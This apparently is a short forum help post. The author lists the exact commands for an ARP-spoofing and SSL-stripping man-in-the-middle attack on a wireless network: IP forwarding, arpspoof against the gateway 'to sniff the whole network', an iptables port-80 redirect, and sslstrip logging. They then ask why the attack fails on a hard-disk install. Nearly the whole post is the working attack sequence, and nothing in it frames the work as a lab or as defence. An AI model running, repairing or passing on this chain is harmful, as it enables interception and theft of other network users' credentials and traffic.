While on VMware everything was working perfectly, these are the commands I always entered in the following order:

echo 1 > /proc/sys/net/ipv4/ip_forward

cat /proc/sys/net/ipv4/ip_forward (returned with NUM 1)

arpspoof -i wlan0 (gateway is just being used so that I can sniff the whole network)

iptables --flush

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080

sslstrip -a -f -k -l 8080
(creates sslstrip.log)
Now that I'm running a HD install (no more vmware) these steps are not working anymore...
Even the sslstrip.log is not saving anything...

uname -r: 2.6.34
